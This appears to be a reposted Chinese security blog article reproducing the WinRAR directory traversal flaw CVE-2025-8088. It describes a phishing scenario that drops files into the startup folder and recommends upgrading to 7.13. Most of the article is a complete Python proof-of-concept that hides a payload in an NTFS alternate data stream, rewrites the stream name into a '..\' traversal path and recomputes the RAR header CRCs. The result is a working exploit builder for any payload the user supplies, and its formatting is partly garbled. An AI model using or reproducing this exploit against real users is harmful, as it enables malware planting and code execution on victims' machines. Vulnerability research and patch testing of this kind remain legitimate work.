文章总结： WinRAR目录穿越漏洞CVE-2025-8088允许攻击者通过构造特殊相对路径绕过解压目录限制，将文件写入系统任意位置，可能导致任意代码执行。该漏洞影响WinRAR7.13以下版本，官方已发布安全补丁，建议用户及时升级至最新版本以防范风险。
综合评分： 85
文章分类： 漏洞分析,渗透测试,应用安全,漏洞预警

【漏洞复现】WinRAR 目录穿越漏洞(CVE-2025-8088)

大仙安全说

2025年11月26日 16:29
北京

以下文章来源于李火火安全阁
，作者李同學

李火火安全阁
.

专注于网络安全渗透攻防技术学习,经验知识分享！！！

声明

在网络安全领域，技术文章应谨慎使用，遵守法律法规，严禁非法网络活动。未经授权，不得利用文中信息进行入侵，造成的任何后果，由使用者自行承担，本文作者不负责。提供的工具仅限学习使用，严禁外用。

一、漏洞描述

WinRAR是一款功能强大的文件压缩和归档工具,由德国公司win.rar GmbH开发,主要用于创建和管理RAR和ZIP格式的档案文件,同时支持解压多种其他格式。主要应用于文件压缩、加密、备份和传输,帮助用户节省存储空间、加速文件共享、并提供数据保护功能。

WinRAR目录穿越漏洞是软件在处理RAR档案文件时,由于输入验证不当,导致攻击者可以通过构造特殊的相对路径(如多个”….\”)来绕过解压目录限制,将文件写入系统任意位置。这种漏洞可能导致任意代码执行、恶意软件植入或持久化攻击。

二、漏洞详情

(1) 漏洞成因

• WinRAR在处理压缩包内文件路径时,未能正确校验文件路径,导致攻击者可以通过使用特殊构造的相对路径(如 ..)将文件释放到非预期目录。

• 该漏洞的本质是路径遍历检查机制不完善,攻击者可以绕过安全限制,将恶意文件写入系统关键位置。

(2) 攻击场景

• 攻击者可通过钓鱼邮件或恶意网站向用户发送包含恶意构造的RAR文件的链接。
• 当用户解压缩该文件时,恶意文件将被释放到系统启动目录或其他敏感位置,并在用户下次登录系统时自动执行,从而实现远程代码执行。

三、影响范围

WinRAR&nbsp;<&nbsp;7.13

四、漏洞复现

所用工具: Process Monitor

复现环境: WinRAR 7.11 beta 1

POC如下：

import argparse, os, struct, subprocess, sys, textwrap, zlibfrom&nbsp;pathlib import PathRAR5 constantsRAR5_SIG&nbsp;=&nbsp;b"Rar!\x1A\x07\x01\x00"HFL_EXTRA&nbsp;=&nbsp;0x0001HFL_DATA &nbsp;=&nbsp;0x0002def run(cmd: str, cwd: Path&nbsp;|&nbsp;None&nbsp;=&nbsp;None,&nbsp;check=True)&nbsp;->&nbsp;subprocess.CompletedProcess:&nbsp; &nbsp;cp&nbsp;=&nbsp;subprocess.run(cmd, shell=True, cwd=str(cwd) if cwd&nbsp;else&nbsp;None,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)&nbsp; &nbsp;if&nbsp;check&nbsp;and&nbsp;cp.returncode&nbsp;!=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;raise RuntimeError(f"Command failed ({cp.returncode}): {cmd}\n{cp.stdout}")&nbsp; &nbsp;return&nbsp;cpdef auto_find_rar(provided: str&nbsp;|&nbsp;None)&nbsp;->&nbsp;str:&nbsp; &nbsp;if provided&nbsp;and&nbsp;Path(provided).exists():&nbsp; &nbsp; &nbsp; &nbsp;return&nbsp;provided&nbsp; &nbsp;candidates&nbsp;=&nbsp;[&nbsp; &nbsp; &nbsp; &nbsp;r"C:\Program Files\WinRAR\rar.exe",&nbsp; &nbsp; &nbsp; &nbsp;r"C:\Program Files (x86)\WinRAR\rar.exe",&nbsp; &nbsp;]&nbsp; &nbsp;for&nbsp;d&nbsp;in&nbsp;os.environ.get("PATH", "").split(os.pathsep):&nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;not&nbsp;d: continue&nbsp; &nbsp; &nbsp; &nbsp;p&nbsp;=&nbsp;Path(d)&nbsp;/&nbsp;"rar.exe"&nbsp; &nbsp; &nbsp; &nbsp;if p.exists(): candidates.append(str(p))&nbsp; &nbsp;for&nbsp;c&nbsp;in&nbsp;candidates:&nbsp; &nbsp; &nbsp; &nbsp;if Path(c).exists():&nbsp;return&nbsp;c&nbsp; &nbsp;raise SystemExit("[-] rar.exe not found. Pass --rar \"C:\\Path\\to\\rar.exe\"")def ensure_file(path: Path, default_text: str&nbsp;|&nbsp;None)&nbsp;->&nbsp;None:&nbsp; &nbsp;if path.exists():&nbsp; &nbsp; &nbsp; &nbsp;return&nbsp; &nbsp;if default_text&nbsp;is&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp;raise SystemExit(f"[-] Required file not found: {path}")&nbsp; &nbsp;path.parent.mkdir(parents=True, exist_ok=True)&nbsp; &nbsp;path.write_text(default_text, encoding="utf-8")&nbsp; &nbsp;print(f"[+] Created file: {path}")def attach_ads_placeholder(decoy_path: Path, payload_path: Path, placeholder_len:&nbsp;int)&nbsp;->&nbsp;str:&nbsp; &nbsp;placeholder&nbsp;=&nbsp;"X"&nbsp;*&nbsp;placeholder_len&nbsp; &nbsp;ads_path&nbsp;=&nbsp;f"{decoy_path}:{placeholder}"&nbsp; &nbsp;data&nbsp;=&nbsp;payload_path.read_bytes()&nbsp; &nbsp;with&nbsp;open(ads_path, "wb")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp;f.write(data)&nbsp; &nbsp;print("[+] Attached ADS on disk")&nbsp; &nbsp;return&nbsp;placeholderdef build_base_rar_with_streams(rar_exe: str, decoy_path: Path, base_out: Path)&nbsp;->&nbsp;None:&nbsp; &nbsp;if base_out.exists():&nbsp; &nbsp; &nbsp; &nbsp;base_out.unlink()&nbsp; &nbsp;run(f'"{rar_exe}" a -ep -os "{base_out}" "{decoy_path}"')def get_vint(buf: bytes, off:&nbsp;int)&nbsp;->&nbsp;tuple[int,&nbsp;int]:&nbsp; &nbsp;val, shift, i&nbsp;=&nbsp;0,&nbsp;0, off&nbsp; &nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp;if i&nbsp;>=&nbsp;len(buf): raise ValueError("Truncated vint")&nbsp; &nbsp; &nbsp; &nbsp;b&nbsp;=&nbsp;buf[i]; i&nbsp;+=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;val&nbsp;|=&nbsp;(b&nbsp;&&nbsp;0x7F)&nbsp;<<&nbsp;shift&nbsp; &nbsp; &nbsp; &nbsp;if (b&nbsp;&&nbsp;0x80)&nbsp;==&nbsp;0: break&nbsp; &nbsp; &nbsp; &nbsp;shift&nbsp;+=&nbsp;7&nbsp; &nbsp; &nbsp; &nbsp;if shift&nbsp;>&nbsp;70: raise ValueError("vint too large")&nbsp; &nbsp;return&nbsp;val, i&nbsp;-&nbsp;offdef patch_placeholder_in_header(hdr: bytearray, placeholder_utf8: bytes, target_utf8: bytes)&nbsp;->&nbsp;int:&nbsp; &nbsp;"""Replace ':' + placeholder with ':' + target (NUL-pad if shorter)."""&nbsp; &nbsp;needle&nbsp;=&nbsp;b":"&nbsp;+&nbsp;placeholder_utf8&nbsp; &nbsp;count, i&nbsp;=&nbsp;0,&nbsp;0&nbsp; &nbsp;while&nbsp;True:&nbsp; &nbsp; &nbsp; &nbsp;j&nbsp;=&nbsp;hdr.find(needle, i)&nbsp; &nbsp; &nbsp; &nbsp;if j&nbsp;<&nbsp;0: break&nbsp; &nbsp; &nbsp; &nbsp;start&nbsp;=&nbsp;j&nbsp;+&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;old_len&nbsp;=&nbsp;len(placeholder_utf8)&nbsp; &nbsp; &nbsp; &nbsp;if len(target_utf8)&nbsp;>&nbsp;old_len:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;raise ValueError("Replacement longer than placeholder. Increase --placeholder_len.")&nbsp; &nbsp; &nbsp; &nbsp;hdr[start:start+len(target_utf8)]&nbsp;=&nbsp;target_utf8&nbsp; &nbsp; &nbsp; &nbsp;if len(target_utf8)&nbsp;<&nbsp;old_len:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hdr[start+len(target_utf8):start+old_len]&nbsp;=&nbsp;b"\x00"&nbsp;*&nbsp;(old_len&nbsp;-&nbsp;len(target_utf8))&nbsp; &nbsp; &nbsp; &nbsp;count&nbsp;+=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;i&nbsp;=&nbsp;start&nbsp;+&nbsp;old_len&nbsp; &nbsp;return&nbsp;countdef rebuild_all_header_crc(buf: bytearray)&nbsp;->&nbsp;int:&nbsp; &nbsp;"""Recompute CRC32 for ALL RAR5 block headers."""&nbsp; &nbsp;sigpos&nbsp;=&nbsp;buf.find(RAR5_SIG)&nbsp; &nbsp;if sigpos&nbsp;<&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;raise RuntimeError("Not a RAR5 archive (signature missing).")&nbsp; &nbsp;pos&nbsp;=&nbsp;sigpos&nbsp;+&nbsp;len(RAR5_SIG)&nbsp; &nbsp;blocks&nbsp;=&nbsp;0&nbsp; &nbsp;while pos&nbsp;+&nbsp;4&nbsp;<=&nbsp;len(buf):&nbsp; &nbsp; &nbsp; &nbsp;block_start&nbsp;=&nbsp;pos&nbsp; &nbsp; &nbsp; &nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;header_size, hsz_len&nbsp;=&nbsp;get_vint(buf, block_start&nbsp;+&nbsp;4)&nbsp; &nbsp; &nbsp; &nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break&nbsp; &nbsp; &nbsp; &nbsp;header_start&nbsp;=&nbsp;block_start&nbsp;+&nbsp;4&nbsp;+&nbsp;hsz_len&nbsp; &nbsp; &nbsp; &nbsp;header_end &nbsp;&nbsp;=&nbsp;header_start&nbsp;+&nbsp;header_size&nbsp; &nbsp; &nbsp; &nbsp;if header_end&nbsp;>&nbsp;len(buf): break&nbsp; &nbsp; &nbsp; &nbsp;region&nbsp;=&nbsp;buf[block_start&nbsp;+&nbsp;4:header_end]&nbsp; &nbsp; &nbsp; &nbsp;crc&nbsp;=&nbsp;zlib.crc32(region)&nbsp;&&nbsp;0xFFFFFFFF&nbsp; &nbsp; &nbsp; &nbsp;struct.pack_into("<I", buf, block_start, crc)step forward&nbsp;using&nbsp;flags&nbsp;and&nbsp;optional DataSize&nbsp; &nbsp; &nbsp; &nbsp;i&nbsp;=&nbsp;header_start&nbsp; &nbsp; &nbsp; &nbsp;_htype, n1&nbsp;=&nbsp;get_vint(buf, i); i&nbsp;+=&nbsp;n1&nbsp; &nbsp; &nbsp; &nbsp;hflags, n2&nbsp;=&nbsp;get_vint(buf, i); i&nbsp;+=&nbsp;n2&nbsp; &nbsp; &nbsp; &nbsp;if (hflags&nbsp;&&nbsp;HFL_EXTRA)&nbsp;!=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_extrasz, n3&nbsp;=&nbsp;get_vint(buf, i); i&nbsp;+=&nbsp;n3&nbsp; &nbsp; &nbsp; &nbsp;datasz&nbsp;=&nbsp;0&nbsp; &nbsp; &nbsp; &nbsp;if (hflags&nbsp;&&nbsp;HFL_DATA)&nbsp;!=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;datasz, n4&nbsp;=&nbsp;get_vint(buf, i); i&nbsp;+=&nbsp;n4&nbsp; &nbsp; &nbsp; &nbsp;pos&nbsp;=&nbsp;header_end&nbsp;+&nbsp;datasz&nbsp; &nbsp; &nbsp; &nbsp;blocks&nbsp;+=&nbsp;1&nbsp; &nbsp;return&nbsp;blocksdef strip_drive(abs_path: Path)&nbsp;->&nbsp;str:&nbsp; &nbsp;s&nbsp;=&nbsp;str(abs_path)&nbsp; &nbsp;s&nbsp;=&nbsp;s.replace("/", "\\")remove e.g. "C:\"&nbsp; &nbsp;if len(s)&nbsp;>=&nbsp;2&nbsp;and&nbsp;s[1]&nbsp;==&nbsp;":":&nbsp; &nbsp; &nbsp; &nbsp;s&nbsp;=&nbsp;s[2:]trim&nbsp;leading&nbsp;slashes&nbsp; &nbsp;while s.startswith("\\"):&nbsp; &nbsp; &nbsp; &nbsp;s&nbsp;=&nbsp;s[1:]&nbsp; &nbsp;return&nbsp;sdef build_traversal_name(drop_abs_dir: Path, payload_name: str, max_up:&nbsp;int)&nbsp;->&nbsp;str:&nbsp; &nbsp;if max_up&nbsp;<&nbsp;3:&nbsp; &nbsp; &nbsp; &nbsp;raise SystemExit("[-] --max_up must be >= 3 to reliably reach drive root from typical user folders.")&nbsp; &nbsp;tail&nbsp;=&nbsp;strip_drive(drop_abs_dir)&nbsp; &nbsp;rel&nbsp;=&nbsp;("\\..\\"&nbsp;*&nbsp;max_up)&nbsp;+&nbsp;tail&nbsp;+&nbsp;"\\"&nbsp;+&nbsp;payload_name&nbsp; &nbsp;if os.path.isabs(rel)&nbsp;and&nbsp;not&nbsp;rel.startswith("\\"):&nbsp; &nbsp; &nbsp; &nbsp;raise SystemExit("[-] Internal path error: produced an absolute name. Report this.")&nbsp; &nbsp;if len(rel)&nbsp;>&nbsp;1024:&nbsp; &nbsp; &nbsp; &nbsp;raise SystemExit(f"[-] Traversal path too long ({len(rel)} > 1024)")&nbsp; &nbsp;return&nbsp;reldef patch_archive_placeholder(base_rar: Path, out_rar: Path, placeholder: str, target_rel: str)&nbsp;->&nbsp;None:&nbsp; &nbsp;data&nbsp;=&nbsp;bytearray(base_rar.read_bytes())&nbsp; &nbsp;sigpos&nbsp;=&nbsp;data.find(RAR5_SIG)&nbsp; &nbsp;if sigpos&nbsp;<&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;raise SystemExit("[-] Not a RAR5 archive (signature not found).")&nbsp; &nbsp;pos&nbsp;=&nbsp;sigpos&nbsp;+&nbsp;len(RAR5_SIG)&nbsp; &nbsp;placeholder_utf8&nbsp;=&nbsp;placeholder.encode("utf-8")&nbsp; &nbsp;target_utf8 &nbsp; &nbsp; &nbsp;=&nbsp;target_rel.encode("utf-8")&nbsp; &nbsp;total&nbsp;=&nbsp;0&nbsp; &nbsp;while pos&nbsp;+&nbsp;4&nbsp;<=&nbsp;len(data):&nbsp; &nbsp; &nbsp; &nbsp;block_start&nbsp;=&nbsp;pos&nbsp; &nbsp; &nbsp; &nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;header_size, hsz_len&nbsp;=&nbsp;get_vint(data, block_start&nbsp;+&nbsp;4)&nbsp; &nbsp; &nbsp; &nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break&nbsp; &nbsp; &nbsp; &nbsp;header_start&nbsp;=&nbsp;block_start&nbsp;+&nbsp;4&nbsp;+&nbsp;hsz_len&nbsp; &nbsp; &nbsp; &nbsp;header_end &nbsp;&nbsp;=&nbsp;header_start&nbsp;+&nbsp;header_size&nbsp; &nbsp; &nbsp; &nbsp;if header_end&nbsp;>&nbsp;len(data): break&nbsp; &nbsp; &nbsp; &nbsp;hdr&nbsp;=&nbsp;bytearray(data[header_start:header_end])&nbsp; &nbsp; &nbsp; &nbsp;c&nbsp;=&nbsp;patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)&nbsp; &nbsp; &nbsp; &nbsp;if c:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data[header_start:header_end]&nbsp;=&nbsp;hdr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;total&nbsp;+=&nbsp;cadvance&nbsp; &nbsp; &nbsp; &nbsp;i&nbsp;=&nbsp;header_start&nbsp; &nbsp; &nbsp; &nbsp;_htype, n1&nbsp;=&nbsp;get_vint(data, i); i&nbsp;+=&nbsp;n1&nbsp; &nbsp; &nbsp; &nbsp;hflags, n2&nbsp;=&nbsp;get_vint(data, i); i&nbsp;+=&nbsp;n2&nbsp; &nbsp; &nbsp; &nbsp;if (hflags&nbsp;&&nbsp;HFL_EXTRA)&nbsp;!=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_extrasz, n3&nbsp;=&nbsp;get_vint(data, i); i&nbsp;+=&nbsp;n3&nbsp; &nbsp; &nbsp; &nbsp;datasz&nbsp;=&nbsp;0&nbsp; &nbsp; &nbsp; &nbsp;if (hflags&nbsp;&&nbsp;HFL_DATA)&nbsp;!=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;datasz, n4&nbsp;=&nbsp;get_vint(data, i); i&nbsp;+=&nbsp;n4&nbsp; &nbsp; &nbsp; &nbsp;pos&nbsp;=&nbsp;header_end&nbsp;+&nbsp;datasz&nbsp; &nbsp;if total&nbsp;==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;raise SystemExit("[-] Placeholder not found in RAR headers. Ensure you built with -os and same placeholder.")&nbsp; &nbsp;print(f"[+] Patched {total} placeholder occurrence(s).")&nbsp; &nbsp;blocks&nbsp;=&nbsp;rebuild_all_header_crc(data)&nbsp; &nbsp;print(f"[+] Recomputed CRC for {blocks} header block(s).")&nbsp; &nbsp;out_rar.write_bytes(data)&nbsp; &nbsp;print(f"[+] Wrote patched archive: {out_rar}")&nbsp; &nbsp;print(f"[i] Injected stream name: {target_rel}")def main():&nbsp; &nbsp;if os.name&nbsp;!=&nbsp;"nt":&nbsp; &nbsp; &nbsp; &nbsp;print("[-] Must run on Windows (NTFS) to attach ADS locally.")&nbsp; &nbsp; &nbsp; &nbsp;sys.exit(1)&nbsp; &nbsp;ap&nbsp;=&nbsp;argparse.ArgumentParser(description="CVE-2025-8088 WinRAR PoC")&nbsp; &nbsp;ap.add_argument("--decoy", &nbsp; &nbsp; &nbsp; &nbsp;required=True, help="Path to decoy file (existing or will be created)")&nbsp; &nbsp;ap.add_argument("--payload", &nbsp; &nbsp; &nbsp;required=True, help="Path to harmless payload file (existing or will be created)")&nbsp; &nbsp;ap.add_argument("--drop", &nbsp; &nbsp; &nbsp; &nbsp; required=True, help="ABSOLUTE benign folder (e.g., \\AppData\\Roaming\\...")&nbsp; &nbsp;ap.add_argument("--rar", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help="Path to rar.exe (auto-discovered if omitted)")&nbsp; &nbsp;ap.add_argument("--out", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help="Output RAR filename (default: CVE-2025-8088-poc.rar)")&nbsp; &nbsp;ap.add_argument("--workdir", &nbsp; &nbsp; &nbsp;default=".", help="Working directory (default: current)")&nbsp; &nbsp;ap.add_argument("--placeholder_len", type=int, help="Length of ADS placeholder (auto: >= max(len(injected), 128))")&nbsp; &nbsp;ap.add_argument("--max_up", &nbsp; &nbsp; &nbsp; type=int,&nbsp;default=3, help="How many '..' segments to prefix (default: 16)")&nbsp; &nbsp;ap.add_argument("--base_out", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help="Optional name for intermediate base RAR (default: <out>.base.rar)")&nbsp; &nbsp;args&nbsp;=&nbsp;ap.parse_args()&nbsp; &nbsp;workdir&nbsp;=&nbsp;Path(args.workdir).resolve()&nbsp; &nbsp;workdir.mkdir(parents=True, exist_ok=True)&nbsp; &nbsp;decoy_path &nbsp;&nbsp;=&nbsp;Path(args.decoy) if Path(args.decoy).is_absolute()&nbsp;else&nbsp;(workdir&nbsp;/&nbsp;args.decoy)&nbsp; &nbsp;payload_path&nbsp;=&nbsp;Path(args.payload) if Path(args.payload).is_absolute()&nbsp;else&nbsp;(workdir&nbsp;/&nbsp;args.payload)&nbsp; &nbsp;drop_abs_dir&nbsp;=&nbsp;Path(args.drop).resolve()&nbsp; &nbsp;out_rar&nbsp;=&nbsp;(workdir&nbsp;/&nbsp;args.out) if args.out&nbsp;and&nbsp;not&nbsp;Path(args.out).is_absolute()&nbsp;else&nbsp;(Path(args.out) if args.out&nbsp;else&nbsp;workdir&nbsp;/&nbsp;"CVE-2025-8088-poc.rar")&nbsp; &nbsp;base_rar&nbsp;=&nbsp;Path(args.base_out) if args.base_out&nbsp;else&nbsp;out_rar.with_suffix(".base.rar")&nbsp; &nbsp;ensure_file(decoy_path, &nbsp; "PoC\n")&nbsp; &nbsp;ensure_file(payload_path, textwrap.dedent("@echo off\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"echo exploit is CVE-2025-8088!!!\n"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"pause\n"))&nbsp; &nbsp;rar_exe&nbsp;=&nbsp;auto_find_rar(args.rar)Build injected stream name:&nbsp; &nbsp;injected_target&nbsp;=&nbsp;build_traversal_name(drop_abs_dir, payload_path.name, max_up=args.max_up)&nbsp; &nbsp;print(f"[+] Injected stream name will be: {injected_target}")Placeholder sizing&nbsp; &nbsp;ph_len&nbsp;=&nbsp;args.placeholder_len if args.placeholder_len&nbsp;else&nbsp;max(len(injected_target),&nbsp;128)&nbsp; &nbsp;placeholder&nbsp;=&nbsp;attach_ads_placeholder(decoy_path, payload_path, ph_len)&nbsp; &nbsp;build_base_rar_with_streams(rar_exe, decoy_path, base_rar)&nbsp; &nbsp;patch_archive_placeholder(base_rar, out_rar, placeholder, injected_target)&nbsp; &nbsp;print("\n[V] Done.")&nbsp; &nbsp;print(f"Payload will be dropped to: {drop_abs_dir}\\{payload_path.name}")&nbsp; &nbsp;if os.path.exists(base_rar):&nbsp; &nbsp; &nbsp; &nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;os.remove(base_rar)&nbsp; &nbsp; &nbsp; &nbsp;except:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;passif __name__&nbsp;==&nbsp;"__main__":&nbsp; &nbsp;main()

五、修复建议

官方已发布安全补丁，请及时升级至最新版本：WinRAR >= 7.13

官方下载链接：https://www.win-rar.com/

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：大仙安全说 《【漏洞复现】WinRAR 目录穿越漏洞(CVE-2025-8088)》